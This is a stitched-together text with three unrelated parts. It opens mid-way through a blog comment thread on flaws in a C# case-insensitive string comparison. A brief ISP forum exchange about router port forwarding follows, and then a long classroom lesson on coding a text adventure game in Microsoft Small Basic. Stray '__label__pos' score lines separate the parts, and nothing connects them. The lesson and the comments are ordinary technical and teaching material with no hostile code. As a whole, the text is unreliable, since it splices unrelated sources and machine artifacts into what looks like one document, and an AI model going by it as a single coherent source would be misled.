16-bit code point in UTF-16 or as two code points (e + an acute combining character which is implemented as eu0301. Checking the length of the strings and using a naive implementation as above will actually return false when comparing the following two strings "abcé" and "abceu301" which is plain wrong when you are dealing with strings as these are two equally valid representations of the same string. In comparison, the implementation of String.Compare in the .NET FX handles this case very nicely and returns the appropriate result. Therefore the function should be renamed to CompareCodePoints or CompareOrdinal or something similar as it is really what it does. However, even in this case, there is still another (albeit minor in this case as the two uppercasing transforms are done with the same culture) issue. It should really use a culture invariant uppercasing (pass CultureInfo.InvariantCulture as a param to the ToUpper method. 14. S N says: I think I read some where in Raymond Chen’s blog that there is wide byte UNICODE characters. That is a language alphabet (letter) takes more than one string characters. If the above one is true, then there may be possibility that a letter can be represented in more than one way without involving lowercase/uppercase. 15. Terry Denham says: I’d say that it may be possible that upperString1.Length != upperString2.Length and upperString1.Length != string1.Length that you can get Index out of bounds exceptions in the code and you don’t have try catch logic in the code to handle this possibility. 16. Francois, I disagree on the checking for null. There’s no meaningful error that can be returned if the strings are null, the only thing that could be done is to explicitly throw an exception as opposed to letting the System.NullReferenceException be thrown. The key issue is your observation that it’s comparing code points, and the minor issue mentioned above touches on what I think is the key remaining part of the solution: What culture is string1 and string2 in? Terry: That’s part of Mike Dunn’s comment at the beginning: The code makes a fundimental assumption that string1.Length == string1.ToUpper().Length, which, as has been pointed out is not necessarily a correct assumption. 17. I’ve tested Francois’s comment and indeed he’s right. e´ is not the same as é in this case.. However I’m not able to find any cases of the string1.ToUpper().Length not being equal to the string1.Length. Can someone with more knowledge of the unicode tables verify? 18. anon says: Of course, this would not pass the Turkish i/I test. 19. ATZ Man says: If you have the e-acuteaccent 2-character sequence in string one and the ewithacuteaccent single character sequence in string two, do they ToUpper to the same string or do they ToUpper to different strings? Trivially, ISTR that when some cultures uppercase the diacriticals go away. This may or may not be just a computer subculture of some real culture. This would cause a ToUpper()-ing case-insensitive compare to behave differently from a ToLower()-ing comparison. Some Romance languages can have two diacritical marks on one letter so the potential offset could be more than just one per character. 20. denis says: I guess using CompareInfo.Compare with CompareOptions.IgnoreCase should solve the problem. 21. Scott says: Wel if string1.Length < string2.Length but the characters are the same it still returns true. in other words if string1= "ant" and string2="ants", the routine thinks they are equal. 22. Scott, how does that work? The initial check is for string1.Length != string2.Length, not string1.Length <= string2.Length. 23. Jeff says: I notice that the arguments to the function are "String" type, but upperString1 and upperString2 are "string" type. Is the typecasting issue what you’re looking for, Larry? 24. josh says: Well I don’t use C#, but… it is case sensitive, right? What’s with "String" and "string"? 25. Jeff: Nope, sorry – in C#, string is an alias for System.String, just like int is an alias for System.Int32 and long is an alias for System.Int64. The posters above have gotten all of what I was trying to point out. IMHO, Francois did the best job of explaining the real issue (that you can’t compare strings by comparing the characters in the string). 26. josh says: *shakes fist at Jeff* 27. forge says: string upperString1 = string1.ToUpper(); string upperString2 = string2.ToUpper(); You are creating an uppercase copies of those strings. I think it’s gonna be a performance issue 28. Forge, you’re 100% right, that’s why I indicated to ignore performance. If I cared about performance, I’d have used something like String.Compare(string1, string2, true); Of course that code would suffer many of the same flaws that the original had but it would be far less obvious where the failure was. 29. Jay says: Another minor thought. wouldn’t the ToUpper() calls potentially throw OutOfMemory exceptions? Someone calling a CompareStrings() function wouldn’t expect something like that to be thrown. 30. Jay, an assignment can throw an OutOfMemory exception in the .Net framework. That’s one of the reasons why exceptions are so evil. 31. Ben Lowery says: Assignments can throw? The right-hand side of the assignment that’s actually doing the work can throw, but I don’t think the actual assignment could throw. Subtle difference, but an important one I think. Unless I’m dead wrong. 🙂 So, in code: object o; // cannot throw o = new object(); // new object() could throw object p; // cannot throw p = o; // cannot throw Is that wrong? 32. That depends on what happens in object->operator object() If object->operator object() returns a reference to the original object it won’t throw. If it returns a new object, then it might. 33. Paul Holden says: Hmmmm, might it generate a false positive if when converted to uppercase two characters match, but then converted to lowercase they don’t? Example code I’ve seen before for doing case-insensitive string compare does something like this: string testString1 = string1.ToUpper().ToLower(); string testString2 = string2.ToUpper().ToLower(); but I’ve never known enough about various character sets to know why! 34. Paul Holden says: Ah – there’s a bit more on this here: http://www.lafstern.org/matt/col2_new.pdf Quote: "As an aside, converting both characters to uppercase might not always give the same results as converting both characters to lowercase: There’s no guarantee that the operations are inverses." Kind of what I was trying to say, but somewhat more eloquently 🙂 35. SeanH says: char[] upperString1 = string1.ToUpper().ToCharArray(); char[] upperString2 = string2.ToUpper().ToCharArray(); for ( int i = 0; upperString1.Length; ++i ) { } 36. SeanH, how does your version avoid the internationalization issues mentioned above? 37. Lee Alexander says: Just a comment on nullability of parameters…I believe it does help to check for nulls at the entry point of the method as it conveys the method creators expectations explicitly. Also I would rather see an exception thrown at the point of entry into a method rather than somewhere buried in the code where it may take longer to figure out what it going on. Is this a bug or did the programmer mean the method never to take nulls. That’s why in C++ I try to use references as inputs where I don’t expect nulls and pointers where I do. Regards Lee 38. SeanH says: I was guessing that String.ToCharArray() might return characters that the String indexer doesn’t. Looking at the Rotor source however reveals that even if COMString::GetCharAt ( String.this[] ) and COMString::GetPreallocatedArray ( String.ToCharArray() ) have different return types (StringObject* and Array<I2> respectively) they might have the same values anyway. Oh well 🙂 39. Sorrty I didn’t have the time to read through all the comments but: ToUpper is not culture invariant, so your code will break painfully in the case of turkish machines for example, that don’t capitalize letters in the same way as occidential do. What you really want is : string.Compare(stringA, stringB, false, CultureInfo.InvariantCulture) == 0 this does a case insensitive comparison based on the invariant culture. I learnt this when one of my early projects (a monad like console but based on xml and an extension to the current batch language) broke down completely on a turkish machine… 40. ilm says: Ilya: The German "ß" (called "sharp s" over here) doesn’t have an uppercase equivalent and is expanded to "SS". 41. Scott says: whoops, my fault. Didn’t read it close enough.
__label__pos
0.891662
cancel Showing results for  Show  only  | Search instead for  Did you mean:  How to Internet - port forward angelinajulie Neighbour I heard Port Forwarding is not supported by TELUS Cat Sad Can anybody help me how to do this on my Actiontec? I heard from someone that vpn that supports port forwarding can help in this? 2 REPLIES 2 NFtoBC Community Power User Community Power User There’s quite a few discussions about this. Have you tried the search function? NFtoBC If you find a post useful, please give the author a "Kudo" PCherian Helpful Neighbour VPN obscures your real IP address from being tracked, most people use software VPN's. Port forwarding redirects an external request to a port in your router to a specific application (and specific computer) like RDP, so you or others can connect to your computer from outside your network. Any router should support port forwarding, but it also opens up a port to outside hacking, hence not secure.
__label__pos
0.878659
COVID-19 The health and safety of our participants and employees is our top priority. All events are suspended until further notice. Learn More Pathfinder 3: Programming Pathfinder In Microsoft Small Basic Section Navigation Jon Corbett Jon Corbett About the Author Jon Corbett is a professional computer programmer and a Canadian Métis media artist. He has a BFA and MFA, and is a sessional faculty member specializing in new media art at the University of British Columbia, Okanagan Campus. Jon is also a PhD fellow developing a computer programming language based on the Cree language, making use of Indigenous storytelling and oral traditions as inputs to create digital artwork that reflects the content of those histories. Digital Storytelling, Game Design Lesson Plan In the series: Pathfinder Series Introduction This module uses the foundational coding components in the Paper Pathfinder and Introduction to Programming with Microsoft Small Basic modules and combines them together to build a story-driven adventure game. Students will need to know the basics introduced in Introduction to Programming with Microsoft Small Basic to understand this module. This module provides examples that will be required to put together a full text based computer adventure game based on the Paper Pathfinder (Part 1) module. At the end of this module students will be able to: • Plan and map the stages of a computer game • Understand how to display text to a user • Know how to process a user’s commands • Use subroutines to group commonly used text descriptions together • Troubleshoot and work with errors in their programs Learning Goals This module exposes students to basic computer programming within a simplified and easy-to-navigate environment. It helps students construct program routines, and provides freedom to play within the examples, utilizing their own designed Paper Pathfinder game as a foundation. And finally, it packages the skills they have learned to create a working text-based video game. Vocabulary CRLF stands for “Carriage Return + Line Feed”, and is the equivalent of hitting the Enter/Return key. Troubleshooting is also known as debugging. It is the process used to determine where an error is in the code and correcting it to allow the program to run as intended. Function (sometimes referred to as Statement) refers to a component of the programming environment that is already built and understood by the system. For Example: Goto is a function, If … End If is another. Guiding Questions 1. Do you want to write a simple computer game? 2. Do you enjoy assembling puzzles? Curriculum Links In this module, students will learn about computer coding and the interactions between humans and computers, and therefore it can be linked with a Science and Technology curriculum, as well as Technology Communications, and English. Students will examine and think critically about how we communicate and have computers perform tasks for us. Through the translation of a physical board game into a language-based text adventure, students will engage in creative tasks that can be linked with a Language Arts, Arts, and English curriculum. This module teaches how to look at a story from additional perspectives and guide players to a desirable outcome. Materials Non-Computer Activity • The non-computer exercise is built into this module. Students will draw out and plan their game and actions before actually writing the program for it. Computer Activity • A computer with the Microsoft Small Basic application installed OR Internet access to the online interface. • Coloured pens or markers and (graph) paper for creating a drawn map of their play space. • Their Paper Pathfinder game tiles from the first module. • Tile descriptions sheet from their Paper Pathfinder game. Non-Computer Activity Getting Started The first step, before we start programming, is to “map out” our game. Though this step can be time consuming, it is necessary, and will help you understand some of the complexities your particular game may have. Set Up Your Game • First, shuffle your paper game tiles (created in Paper Pathfinder) and lay them out on a flat surface one by one to create a play board. • You may move tiles around, rotate them, and offset their position to match your pathways. • Try to keep your “special” or “goal” tile as far from the start position as possible. • Place an avatar play character on a starting square. • Establish which direction is north and use some kind of indicator to show which way North points. Mapping It Out To make coding the game easier, always create a map of your tile layout with paper and pen. This step is especially helpful if your layout gets bumped or interfered with, or if you need to put it away and return to it later. Mapping it out on paper means you won’t need to remember how it was laid out. Taking a quick picture with a smartphone is a good idea too. Get a piece of graph paper, a pencil, and two or three color crayons or markers. • First use your pencil to layout the borders of your tiles. • Then write the number of each tile in each of the tile boxes on your graph paper. • Use a colored crayon or marker to mark the borders that are not passable. • Use another color crayon/marker to mark arrows pointing to which directions you can move from on each tile. • You can use a third color if you choose to indicate special areas or events. • Get your Paper Pathfinder tile description sheet ready as well. The goal of your paper game should also be the goal of your computer game. This module shows examples where the goal is to find wood for the fire at home. Below, Figure 1 shows the tile layout and Figure 2 shows the drawn graph paper map of the adventure board. Tile layout of the paper game Paper graph map drawn of the adventure board which includes paths, river and a bridge Example of code commented out in Small Basic Computer Activity This module assumes you are new to programming or are at least new to the Microsoft Small Basic programming language, and have completed the previous modules (Paper Pathfinder and Introduction to Programming with Microsoft Small Basic). This module combines the four programming concepts from the previous modules and the Pathfinder tabletop paper game to generate a full story text-based computer game. Supplementary material to this module is provided at the end for more in-depth details, and full source code for the game examples in this module is also included for comparison and assistance. As well, it may take some time to complete this module, but efforts were made to keep the content condensed for students to get started as quickly as possible. The module provides enough direction that it could be worked through in a longer single session, or spread over several smaller sessions. Note that line numbers in the examples may be different than their actual locations in the source code file due to changes in text descriptions and comments that were added or removed to keep the image examples small and to highlight the specific text in each example. First Lines of Code – Let’s Get Started! Click the New button in Small Basic to create a new programming window (if you already don’t have a blank program ready to go). Our first lines of code will actually be “comments”, not actual code. A comment can be entered using a single quotation mark ‘ at the start of the line. We want to add comments to identify: the name of our game, who we are, when we wrote it, and perhaps a brief description of what the program does. Figure 3 shows comments that indicate these details for the example game included with this module. The next step is to establish some of our variables. Remember that variables are “containers” or “tokens” that can be updated and changed as the program runs. In this game we need a container to indicate whether we found the wood, and one to identify what tile we are currently on. Figure 4 shows these two lines – with two lines using Cree SRO that perform the same thing – you are encouraged to use your own heritage language in all your coding, however, the remainder of this module will use English only examples to save space. Note: The CRLF variable. CRLF stands for “Carriage Return + Line Feed”. It is a special command that is the same as hitting the Return key on your keyboard, and we need to use this when we need a new line in our text strings. This way we can use CRLF instead of typing: Text.GetCharacter(13) + Text.GetCharacter(10) Any time we want text to continue on a separate line. Code example of main variables that will be used throughout the game in English and in Cree Syllabics Game Setup Several pre-made subroutines have been included for students to use – regardless of their own content. A more detailed explanation of these pre-designed subroutines is located in the Advanced Programming Techniques section of this module rather than taking time showing programming concepts that are not as important for this module. More advanced students, and students wanting to learn more, may find this additional information useful as they learn about Small Basic programming. Otherwise, the key thing students need to know here is what text they should be replacing, which is indicated in the code. To move on with the actual gameplay, we need to: Copy and paste in the following subroutines from the example game into your own blank program: UpdateScreenShowGameStartOnKeyUp, and IsAValidCommand (lines 634 to 743) The ShowGameStart creates a GraphicsWindow; setting its size determines where we will position our cursor for the user to enter text, as well as where our story space will be displayed. Additionally, it starts with some introductory text and basic game instructions to get players started. OnKeyUp is a simple “helper” routine that records each time the player presses a keyboard key. It looks for the enter key and then processes the text that occurred just before the enter key was pressed. IsAValidCommand checks to see if the command the player entered is allowable. * Make sure to edit the details of ShowGameStart to match the details of your own game. Figure 5 shows our successfully run game screen with the content of ShowGameStart. Game screen after being successfully run which displays game instructions and directions to keep going Now The Fun Stuff – Setting Up The Game Setting up our game variables: After our comments section, the first few lines are fairly straightforward. Here is a list of variables we will use and a description of what they are needed for: WeHaveWood = "False" CurrentTile = "0" CommandStatus = "False" CRLF = Text.GetCharacter(13) + Text.GetCharacter(10) gameCommand = "" startGame = "" endGame = "" WeHaveWood = False means we are creating a variable named “WeHaveWood” and are assigning it the value of “False”, which means we currently do not have any wood. CurrentTile is set to 0 since we haven’t started the game yet, and don’t have a tile to set. CRLF, this is a convenient way to make a “line break” in our strings. We will use this often. CommandStatus = “False”, we will use this variable to check if a player’s action is valid or not. We set its start value to false because no commands have been entered yet. gameCommand will hold they text our player types in the game. startGame and endGame are variables we use to break out of a loop. They start with no values, but we will assign them a value when a certain condition is met. startGame gets a value set when the player starts the game and “hits any key to start” and the endGame will be populated when a user types the command END. Example text from the Paper Pathfinder module. Tile 17 text is 'You are standing in a clearing of a large forest' while Tile 18 text is 'The dark woods look ominous here, but you see well-worn paths exit in all directions' Once our variables are set, we should look at programming each play tile. The tile description sheet created in the Paper Pathfinder module will be invaluable here. Figure 6 shows a sample of the tile details sheet used for the examples in this module. As well, because our players might pass through each tile several times, we don’t want to write our code over and over again, so we will use a subroutine for each game tile’s text, and we will make a subroutine to process each action our player can try for each tile. The starting tile for this game is 17 – let’s add that in. Note that the very first line under Sub Tile_17 says CurrentTile = “17”; we do this to make sure our program knows that we are currently on that tile. Other parts of our game might need to know what tile we are on so we want to keep that variable up-to-date. Code examples of a completed subroutine for game Tile 17 and Tile text examples. You may also notice the code for TileText in Figure 7 is on two lines. This is because sometimes our strings might get really long and go off the page where we can’t see them. Instead of scrolling left and right to see all our code we can break up the string text into multiple lines and still retain the same content. This is where the CRLF variable comes in handy. Figure 8 shows two ways of coding our TileText for Sub Tile_17: TileText = "You are standing in a large forest, you see the path exit to the EAST" OR TileText = "You are standing in a large forest, " TileText = TileText + "you see only one exit, to the EAST." Both are acceptable and valid, but in the first example the text is all on one line. In Small Basic this may extend past the frame of our coding window. To make things easier to read, the second method puts the text in two lines of code. You will notice the second line in this example says “TileText = TileText +”. This means we want the contents of TileText to be equal to the text we already have in the variable TileText PLUS the additional text “you see only one exit, to the EAST” is then added to the end of that text. We could also add in a line break by using our CRLF: TileText = "You are standing in a large forest." + CRLF TileText = TileText + "You see only one exit, to the EAST." We want to create a subroutine for each of our tile descriptions. As it will be time-consuming to enter all of our game information for 20 or more tiles, for now we will just add four subroutines. In this demo, the tiles entered are our start tile 17, and the next possible movements from this tile which are 9, 10, and 11. When you have the opportunity, add your remaining tiles into their own subroutines. Each of your tile subroutines should follow the same basic setup “Sub … CurrentTile … TileText …EndSub”. Here is what the first four subroutines look like in code: Code example of subroutines for each of the Tile descriptions In Figure 9 notice that each description indicates the available movement options a player can take. Be careful typing your subroutines. If you unintentionally create two subroutines with the same name—for example entering Sub Tile_2 twice instead of Sub Tile_2 and a Sub Tile_12—it will create an error in your program. (See the section at the end of this guide for more on handling Errors and Troubleshooting). Also be careful to enter the correct directions; we don’t want to confuse our players by saying they can go North when they can’t. All subroutines will follow the same structure for each tile. The only tile subroutines that will be different are our special tiles, so let’s have a look at those. The first special tiles are tiles 16 and 12. Tile 12 has a hedge vertically through the middle, and tile 16 is split horizontally by a creek. To make it fun, we made the creek crossable on tile 16, which means we need two different subroutines for this tile: one for the NORTH side of the river, and one for the SOUTH (Figure 10). To differentiate these options in the code, we use N and S: Tile_16N and Tile_16S. Code example of tile 6 subroutines which has two different options Tile 12 has the same situation— with two separate options: one for EAST and one for WEST—so we did two subroutines for this tile, too. Challenge Because our game tiles all have 9 squares we could allow players to move one square at a time through a tile. Just write a subroutine for each moveable space using an easy to remember name. Like, referencing each square by one of nine numbers or use letters, for example: Sub Tile13_1 or Sub Tile13A. This will make our game larger, so give this a try on your own when you have more time. Ending The Game The objective of this game is to collect a bundle of wood for the fire. So our next special tile is the wood tile. On our graph map the wood is located on Tile 13. When our player finds Tile 13 the wood is picked up automatically and saved in our WeHaveWood variable, changing it from “False” to “True”. The code for Tile_13 checks if the player already has wood. We don’t want the wood message to display if the player has already visited this tile, so the message only displays if the WeHaveWood variable is False. See the code example in Figure 11. Code example for Tile 13 detailing how to handle when user visits it based on if they have visited it previously or not The next special tile is our ending. Tile 1 has the fire, so this is where we will end our game. Code example that explains how to handle the ending once tile 1 has fire Since the game only ends if wood has been collected (Figure 12), we need to check if the player has the wood. When the player arrives at Tile 1, the basic description will show, and then one of two possibilities: 1. if WeHaveWood is false (wood has not been collected) the message that the fire is low and they need to find wood is displayed; or 2. if WeHaveWood is true then the congratulatory message displays, and the game ends. You might have noticed the follow lines in the code above: While endGame = “” EndWhile This code is a loop that goes on forever because endGame is equal to “”, and is there so our game doesn’t close prematurely. This is explained in more detail in the Advanced Programming Concepts at the end of this document. Fantastic! Now that the tile description subroutines have been written we can perform the real magic: actually moving around our game and interacting with our players! Making magic – tying it all together Every time the player types in a command, we need to first check if it is a valid command. If it is not, we show a message that the command was not understood. If it is, we need to process the requested action with the appropriate feedback. To do this we need to write a conditional IF statement for each tile, and inside that IF statement we add a series of IF statements to handle each of the possible actions. So first let’s set up the subroutine that we need to run ALL these actions. Enter the following two lines to start: Sub DoGameCommand EndSub Code example of navigation instructions for Tile 17 in the DoGameCommand subroutine Inside this subroutine we add the first action check for tile 17 (our starting tile): Tile 17 only has one exit which is EAST. But we need to provide feedback to our player when they try to exit in other directions… Let’s look at how this block works, because each of our tiles will get a similar block, and once we know how to write one, we can easily write the other ones. So first we check if our CurrentTile is 17. If it is not, it skips to the EndIf at the end (line 209 in Figure 13) and continues to the next If…Then block. If it is 17, it continues to the next line where there is another If…Then. This second If…Then checks if the command entered was EAST or E, and if yes, tells our program to play the Sub Tile_9 subroutine. The player can’t go North, West, or South, so a message is displayed that says they can’t go those directions. The last check is for LOOK or L. We include this because if our player needs to know where to go or has forgotten what tile they are on they can type LOOK or L and it will “reload” Tile 17 by playing the Sub Tile_17 subroutine again, which resets the text that is visible on the screen, and lets the player know where they can go. The last line of our CurrentTile’s If…Then is a new Small Basic function called “Goto” which is pointing at something called GameUpdate. Let’s have a quick look at what Goto means and why we use it here. Code example where gameCommand variable is reset and UpdateScreen function is reset The Goto function passes over code that we don’t want to run, as a way of saving time. Because our DoGameCommand will get very long from the numerous commands for each tile, we don’t want the computer to go through each line if it doesn’t have to. So just before the end of the EndSub in the DoGameCommand subroutine we added a GameUpdate. This gives a place to point our Goto at. The GameUpdate doesn’t actually do anything except act as a bookmark that we can jump to inside the subroutine. So now if we check Tile 17 and do the events inside the If…Then block, when we get to Goto GameUpdate, our code skips over all the other If…Then blocks and runs the next line of code that occurs after GameUpdate: Notice the colon “:” at the end of the GameUpdate bookmark – this is important; without it our code won’t work. After GameUpdate we reset the gameCommand to an empty string. This was the text our player entered and since we have processed the action we reset it, and run the last subroutine called UpdateScreen. Let’s have a quick look at the UpdateScreen subroutine, which refreshes our game screen for the user to display any information that may have changed (this code will get copied and pasted from the source, but is discussed here to explain how it works). Code example of UpdateScreen subroutine Note: The GameTextLeft and Top as well as CommandTextBox Left and Top can be found in the ShowGameStart subroutine. There should be no need to adjust these at this time but if you ever need more room for your game you can adjust these settings. Each variable holds the pixel-distance from the Top or Left of the window The UpdateScreen subroutine is straightforward: • First, we clear the screen to remove all existing text and graphics. • Then, using the variables GameTextLeft and GameTextTop—which hold our game-text X and Y coordinates respectively—it outputs the text content from the TileText variable. • The third line adds a “>” symbol to show our user where their cursor is located for typing. • And finally, the fourth line shows the player the content of the gameCommand variable. A breakdown of how the gameCommand subroutine works can be found in the Advanced Programming Concepts. And that is it! BUT! Before we run it to see what happens, let’s try the next command together so you can get a bit more practice. This command is for Tile 9, the tile to the east of Tile 17. Immediately underneath the code entered for Tile 17—in the DoGameCommand subroutine—type the following code for Tile 9: If CurrentTile = "9" Then EndIf Next, put your cursor inside this block and type the next If…Then block for the EAST action: If CurrentTile = "9" Then If gameCommand = "EAST" Or gameCommand = "E" Then Tile_10() EndIf EndIf This If…Then sends our player east to Tile 10. We just came from Tile 17 which is now to the west of Tile 9, so we can add that one in next: If CurrentTile = "9" Then If gameCommand = "EAST" Or gameCommand = "E" Then Tile_10() EndIf If gameCommand = "WEST" Or gameCommand = "W" Then Tile_17() EndIf EndIf Notice in our first two If…Then blocks, whenever we want to move to another tile we simply send our code to the appropriate Sub Tile_# subroutine by using Tile_#(). If you recall, the () brackets at the end of Tile_# indicate to Small Basic that we want to call a subroutine, and that we are not referencing a variable. On Tile 9 we can’t do any action or movement to the north or south, so we display a message for those options: If CurrentTile = "9" Then If gameCommand = "EAST" Or gameCommand = "E" Then Tile_10() EndIf If gameCommand = "WEST" Or gameCommand = "W" Then Tile_17() EndIf If gameCommand = "NORTH" Or gameCommand = "N" Then TileText = "Wow. That cliff face looks really high. You won't be able to climb that." EndIf If gameCommand = "SOUTH" Or gameCommand = "S" Then TileText = "Yikes, there seems to be a cliff edge that way." EndIf EndIf Finally, we need to add an If…Then block for what happens when our player uses the LOOK command. At the end include the Goto GameUpdate to finish it off: If CurrentTile = "9" Then If gameCommand = "EAST" Or gameCommand = "E" Then Tile_10() EndIf If gameCommand = "WEST" Or gameCommand = "W" Then Tile_17() EndIf If gameCommand = "NORTH" Or gameCommand = "N" Then TileText = "Wow. That cliff face looks really high. You won't be able to climb that." EndIf If gameCommand = "SOUTH" Or gameCommand = "S" Then TileText = "Yikes, there seems to be a cliff edge that way." EndIf If gameCommand = "LOOK" Or gameCommand = "L" Then Tile_9() EndIf Goto GameUpdate EndIf The next step is to enter an If…Then block for each and every tile, paying close attention to which directions your player is allowed to go. And with that we should now have enough of the pieces to our puzzle to construct a full game. You may always load and refer to the full working source code file (“Pathfinder.sb”) for the game described in this module. If you ever run into issues or wonder why your game isn’t running correctly, make sure you have followed these programming steps and look at the source code provided as an example. Programming takes time, patience, and running and re-running to debug. But at this point, Run it! If all goes well, you won’t have any errors. But if you do have errors, look at the message and see if you can fix it. The Error and Troubleshooting section of this guide may also help you determine the issue. Advanced Programming Concepts There are a few programming elements in this module that may require additional explanation if learners are interested as to why they are used. In this section we will briefly discuss the behavior of the While startGame and While endGame loops followed by the three subroutines from the included source code: OnKeyUpIsAValidCommand, and ShowGameStart. While start/end Game These two functions are used to “pause” the screen and await our user to “press any key”. The While loop is similar to the For…Next loop presented in the Pathfinder 1 Module, but instead of performing a certain action a specific number of times, the While loop performs the action indefinitely until the condition being evaluated is satisfied. For example: While startGame = "" ‘do some stuff EndWhile What this loop is doing is nothing! And it will do it forever. We could put some code where the comment is between the While and EndWhile, but all we are waiting for in this case is for startGame to equal “True” to let us know the game has started. Likewise, the same holds true for While endGame … EndWhile found in the Sub Tile_1 subroutine. But how does startGame and endGame go from being equal to “” to “True”? That is where our OnKeyUp subroutine comes in. OnKeyUp The OnKeyUp is initialized at the start of the program when we enter: GraphicsWindow.KeyUp = OnKeyUp The GraphicsWindow object in Small Basic allows us to do things when users press keys on the keyboard. The KeyUp function here is associated with the OnKeyUp subroutine we write. This means that anytime a player hits a keyboard key when the game is running, the code in OnKeyUp is going to execute. What we are really looking for is whether or not the Enter key was pressed, because that is the key we use to execute the player’s command. In the following explanation the code is highlighted in blue, and we will discuss each line or section with comments to describe what the code is doing: Sub OnKeyUp lastKeyUp = Text.ConvertToUpperCase(GraphicsWindow.LastText) // This captures the last key pressed and converts it to an uppercase character If (CurrentTile = "0" And startGame = "") Then startGame = "started" CurrentTile = "17" gameCommand = "LOOK" DoGameCommand() Goto ExitSub EndIf This is our startGame event. If we haven’t set the CurrentTile yet, and the startGame variable is empty, then we can start the game by setting the CurrentTile, changing the startGame to “started” or “True”, setting our gameCommand to LOOK (this simulates as if our player typed in LOOK), and then executing the DoGameCommand subroutine and then Goto our ExitSub bookmark. If (CurrentTile = "0" And startGame = "started" And endGame = "") Then Program.End() EndIf This is our endGame event. Now that our game has captured a key being pressed, we can end the program. Notice our CurrentTile = “0”: if you look at the code we wrote for Sub Tile_1, our If … Then code sets the value of CurrentTile to 0 when we arrive at the end. This is important, because we essentially have no tiles we can move to, we can only “hit any key to exit”. If (GraphicsWindow.LastKey = "Return") Then ' CheckOurCommand - user hit the Enter/Return Key IsAValidCommand() // We have made it this far which means we are not starting the game or ending the game. So we need to check if the key pressed was the Enter/Return key. If yes we run IsAValidCommand. If CommandStatus = "True" Then DoGameCommand() Else 'Invlaid command TileText = "I'm sorry, I don't understand your command. What would you like to do?" EndIf gameCommand = "" Goto ExitSub If the command is not found, we give the user a message that the command was not understood and to try again, then we reset the gameCommand variable and skip to the end of the subroutine where we have our ExitSub bookmark. Else If(GraphicsWindow.LastKey = "Back") Then gameCommand = Text.GetSubText(gameCommand, 1, Text.GetLength(gameCommand) - 1) Else 'The key was not the Enter/Return key so add the key text to our command text string gameCommand = gameCommand + lastKeyUp EndIf Here we check if the back button was pressed. If yes, then we need to remove a character from our gameCommand variable. EndIf We are finished processing our key press event and can continue to the UpdateScreen subroutine. UpdateScreen() ExitSub: EndSub We put an ExitSub bookmark here so that we can skip to the end of the subroutine if we are finished early (such as when we encounter a command that is not understood). IsAValidCommand The IsAValidCommand does exactly what the name describes. It checks to see if the text entered in the gameCommand variable can be equated to any functions we entered as valid commands. Because our valid commands are East, West, North, South, and Look; or E, W, N, S, L, and END, the IsAValidCommand checks to see if gameCommand equals one of these values. If yes, it sets the CommandStatus variable to True, otherwise it sets it to False. This way our OnKeyPress can use this subroutine to check if the command entered is allowed. You can add more commands here if you wish, for example, adding additional directions such as “NE” or “SW”, or adding other actions like CLIMB or SWIM. Your game can get very large with more options, but it also makes it more fun to play! Sub IsAValidCommand CommandStatus = "False" If gameCommand = "EAST" Or gameCommand = "E" Then CommandStatus = "True" EndIf If gameCommand = "WEST" Or gameCommand = "W" Then CommandStatus = "True" EndIf If gameCommand = "NORTH" Or gameCommand = "N" Then CommandStatus = "True" EndIf If gameCommand = "SOUTH" Or gameCommand = "S" Then CommandStatus = "True" EndIf If gameCommand = "LOOK" Or gameCommand = "L" Then CommandStatus = "True" EndIf If gameCommand = "END" Then Program.End() EndIf EndSub Errors and Troubleshooting What happens if you get an error? Figure 16 shows an example error where two subroutines have the same name. Let’s look at this example and see what information is available so that we may be able to determine and correct the error. Code example with error in Pathfinder program When we hit play with this code, we get an error box at the bottom of our code window. In this example we have two errors: 56, 5: Another subroutine exists with the same name ‘Tile_11’ The numbers at the beginning of this line indicate the row/line and character where the error occurred. So, line 56 at the start of character 5: the start of Tile_11. As you can see in Figure 16, there are two subroutines with the same name… we probably missed something when we entered it. Should be an easy fix, but let’s look at the other error first before we make any changes. 263, 7: Subroutine ‘Tile_1’ is not defined. This error says that we are trying to call a subroutine at line 263, character 7. But the message “is not defined” means that Small Basic can’t find anything called ‘Sub Tile_1’. This probably means that one of the two Sub Tile_11’s is supposed to be a Sub Tile_1. So which one is the correct Sub Tile_11 and which one is Sub Tile_1? Well, looking at the TileText of one of these subroutines, we see “you enter a clearing with a fire burning…”, and looking at the drawn map of the game, we see that Tile 1 has the fire on it, so this must be the problem. Changing the second Sub Tile_11 to Sub Tile_1 does indeed correct both errors. One final thing that may be handy are the other numbers in the lower right corner of the error message. In the Figure 16 example they are 56, 12. This is the current location of our cursor in the code. So if we want to go to certain code position we know where our cursor is in relation to the error location. Additionally, if you hover your mouse over these error messages they highlight and can be double clicked. When you click these messages in this way, Small Basic takes you to the exact position where the error is. When [something] is not defined Something is not defined is one of the most common errors you will encounter. Whenever you see this error, Small Basic is telling you it cannot find what you are looking for. Here is another example: Code example with a is not defined error In this example (Figure 17), we see the “not defined” error again. But this time it is because we misspelled the subroutine call. We typed in myNaem() instead of myName(). Spelling errors are common, so be sure to choose easy-to-spell and easy-to-remember names for your subroutines and variables. Let’s look at another situation that can happen: forgetting to End a function. If you have a lot of lines—like all the If … Then’s in the DoGameCommand subroutine in this module—it can be hard to find exactly where the problem is. Here is an example (Figure 18). Can you spot the problems based on the error messages provided? Code example with error message caused by missing EndIf In this case there are a couple of problems. First, looking at our error messages we can see that there is a problem on line 6 that says it is expecting a Then as part of the If statement, but it can’t be found. Even though there is a “then” on this line, notice it is not blue nor is it capitalized. This means there is a problem with the line itself. Double clicking the error puts our cursor right before the quotation mark, and looking at the string “Frank” you will see that we forgot to type a quotation mark before we typed in the name Frank. We can also tell this because Small Basic colours different parts of the text on our lines. “Bob” on the line before is in red, so “Frank” should also be red and it is not – it is black. The next two errors say we are missing or don’t have the EndIf and EndSub in the right place. The easiest way to correct this is to start reading the If … Then then look for an Else and/or EndIf where we think it should go. Here, we would add an EndIf at line 10 and this corrects both these error messages. There are many different error messages that can occur. Most errors are easy to correct, but some can be hard to find, especially when your programs have hundreds and thousands of lines of code. Read the error messages carefully, use the double click to go to specific error locations, and the answer should be fairly evident. If you encounter an error that you can’t figure out, try asking a fellow student or doing a Google search for the specific message. Conclusion This module combines basic programming concepts with art and non-linear storytelling to create a fictional, interactive game that requires students to draw on and build their problem-solving skills and creative language. Resources Additional Resources Social Media Resources There is a great 2D graphic video game based on the Tłı̨chǫ folktale “How Fox Saved the People” by graduate students at the University of Toronto. The project is aimed at language revitalization, but has a number of other points of educational value that are very similar to this collection of modules. This CBC article offers a wonderful description. Access to the video game can be obtained through one of the developers, Luke West, at [email protected].
__label__pos
0.789323
